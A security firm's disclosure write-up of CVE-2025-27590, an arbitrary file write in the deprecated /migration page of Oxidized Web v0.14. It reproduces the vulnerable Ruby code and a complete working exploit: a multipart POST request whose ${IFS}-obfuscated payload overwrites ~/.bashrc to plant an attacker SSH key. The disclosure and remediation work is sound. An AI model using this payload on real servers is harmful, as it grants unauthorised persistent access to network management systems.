The NetSPI red team came across a web application front-end for the Oxidized network device configuration backup tool (Oxidized Web) which was used to manage router and switch configurations during a recent client engagement. Oxidized-web is a web app extension for Oxidized. As it presented some new attack surface, and we could readily access the open source code base, we decided to briefly investigate the application.

Once we realised it was an open source application, we downloaded it and installed a local test version in order to follow along with the source code – we’d call this a grey box pentest if we were scoping it, and it combines the best of both worlds with source code review together with actual web application testing.

It became apparent that one page was doing a reasonably complex data ingest and merge, and that was our initial target, to see if we could subvert the intended behaviour. Long story short, a now remediated data validation issue in a deprecated, but still functional page, allowed us to overwrite the user’s ~/.bashrc file and achieve code execution on the server.

We reached out to the development team to let them know of this issue, and they have removed the already deprecated migration script from the distribution. Many thanks to them for the quick response!

TL;DR – an attacker with access to the /migration page of Oxidized Web v0.14 can overwrite any local file that the ‘oxidized’ user can write to, and gain remote code execution on the web server. Fixed in v0.15 – by removal of the vulnerable page – and tracked as CVE-2025-27590.

Description 

An attacker with access to the /migration page can write to an arbitrary file that the web user can access. In a typical set up, this might be the ‘oxidized’ user, leaving /home/oxidized/.bashrc as a potential target for overwriting, which would lead to eventual code execution on the system. In our engagement, this enabled us to move from browsing web applications to executing code on the server.

Background

The file oxidized-web-0.14.0/lib/oxidized/web/mig.rb contains code to read and merge a cloginrc and a rancid.db file. It does this by doing a kind of JOIN on both files using the hostname field present in both files. The new file was then written out to location specified in another parameter in the POST data. The intended use is presumably something like this –

Figure 1 – The Oxidized Web migration page on our test instance

INPUTS:

Cloginrc: 

add user corerouter1 jeff Password123!

Rancid.db:

corerouter1:cisco:up

Combined Output:

Corerouter1:cisco:jeff:Password123!::

However, looking at the code below, the inputs aren’t really checked to make sure they are genuine usernames, which might give us enough wiggle room to overwrite a file of our choosing.

      # read cloginrc and return a hash with node name, which a hash value which contains user,
      # password, eventually enable
      def cloginrc(clogin_file)
        close_file = clogin_file
        file = close_file.read
        file = file.gsub('add', '')

        hash = {}
        file.each_line do |line|
          # stock all device name, and password and enable if there is one
          line = line.split
          (0..line.length).each do |i|
            if line[i] == 'user'
              # add the equipment and user if not exist
              hash[line[i + 1]] = { user: line[i + 2] } unless hash[line[i + 1]]
            # if the equipment exist, add password and enable password
            elsif line[i] == 'password'
              if hash[line[i + 1]]
                if line.length > i + 2
                  h = hash[line[i + 1]]
                  h[:password] = line[i + 2]
                  h[:enable] = line[i + 3] if /\s*/.match(line[i + 3])
                  hash[line[i + 1]] = h
                elsif line.length == i + 2
                  h = hash[line[i + 1]]
                  h[:password] = line[i + 2]
                  hash[line[i + 1]] = h
                end
              end
            end
          end
        end
        close_file.close
        hash
      end

      # add node and group for an equipment (take a list of router.db)
      def rancid_group(router_db_list)
        model = {}
        hash = cloginrc @cloginrc
        router_db_list.each do |router_db|
          group = router_db[:group]
          file_close = router_db[:file]
          file = file_close.read
          file = file.gsub(':up', '')
          file.gsub(' ', '')

          file.each_line do |line|
            line = line.split(':')
            node = line[0]
            next unless hash[node]

            h = hash[node]
            model = model_dico line[1].to_s
            h[:model] = model
            h[:group] = group
          end
          file_close.close
        end
        hash
      end

      # write a router.db conf, need the hash and the path of the file we whish create
      def write_router_db(hash)
        router_db = File.new(@path_new_router, 'w')
        hash.each do |key, value|
          line = key.to_s
          line += ":#{value[:model]}"
          line += ":#{value[:user]}"
          line += ":#{value[:password]}"
          line += ":#{value[:group]}"
          line += ":#{value[:enable]}" if value[:enable]
          router_db.puts(line)
        end
        router_db.close
      end

In this case, we cannot use the space character (0x20) as that is what the parsing routines split on when ingesting the two files. However, we can substitute with ${IFS} which gets around the parsing issue, and still works in bash.

We initially thought about writing to ~/.ssh/authorized keys, but we couldn’t find a way that didn’t need spaces. We also thought of /etc/shadow, but that would need privileges, and would obviously impair operation of the machine as we’d be destroying any existing passwords. We eventually ended up overwriting ~/.bashrc so it would then add a key to ~/.ssh/authorized_keys upon next login.

In our test environment, we sent a POST request with the following values:

path_new_file

/home/oxidized/.bashrc

cloginrc

add user echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys

rancid.db

echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up

The whole POST request, with Content-Type, and default ‘group’ parameter then looked like this:

POST /migration HTTP/1.1
Host: 172.20.221.195:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------27491541275507340564013298012
Content-Length: 1096
Origin: http://172.20.221.195:8888
Connection: keep-alive
Referer: http://172.20.221.195:8888/migration
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="path_new_file"

/home/oxidized/.bashrc
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="cloginrc"; filename="cloginrc"
Content-Type: application/octet-stream

add user echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;# 

-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="file1"; filename="rancid.db"
Content-Type: application/octet-stream

echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="group1"

default
-----------------------------27491541275507340564013298012--

This caused the ~/.bashrc to be the following; i.e. It wrote an extra SSH public key to the end of ~/.ssh/authorized_keys the next time the oxidized user logged into the system: 

echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up

When I log on as the oxidized user, you can see the following has been added to ~/.ssh/authorized_keys 

oxidized@:/$ cat ~/.ssh/authorized_keys
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=

After the oxidized user had logged on, and thus executed ~/.bashrc, it would be possible for the attacker to log on using ssh oxidized@hostnamewhich we already knew was a port that was accessible to us from our position in the network. 

$ ssh oxidized@172.20.221.195
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.167.4-microsoft-standard-WSL2 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

The reason we ended up using the add-key-to-SSH method is that it wouldn’t necessarily alert the client by breaking the application or server functionality – there are plenty of other ways of exploiting a write to arbitrary filename, even if you cannot write the space (0x20) character. 

Utility of the Findings

As this was a production server, we demonstrated a proof of concept to the client who then provided the access that would have been obtained, as our local testing seemed to indicate the oxidized application would not work next time it restarted, as its configuration file no longer made sense.

Recommendation

Anyone who is using Oxidized Web should restrict access to the web interface to only those who require it for day-to-day operations. Upgrading to the latest release, Oxidized Web version 0.15, will also resolve this particular vulnerability. We note that the migration functionality was deprecated even in the version we tested.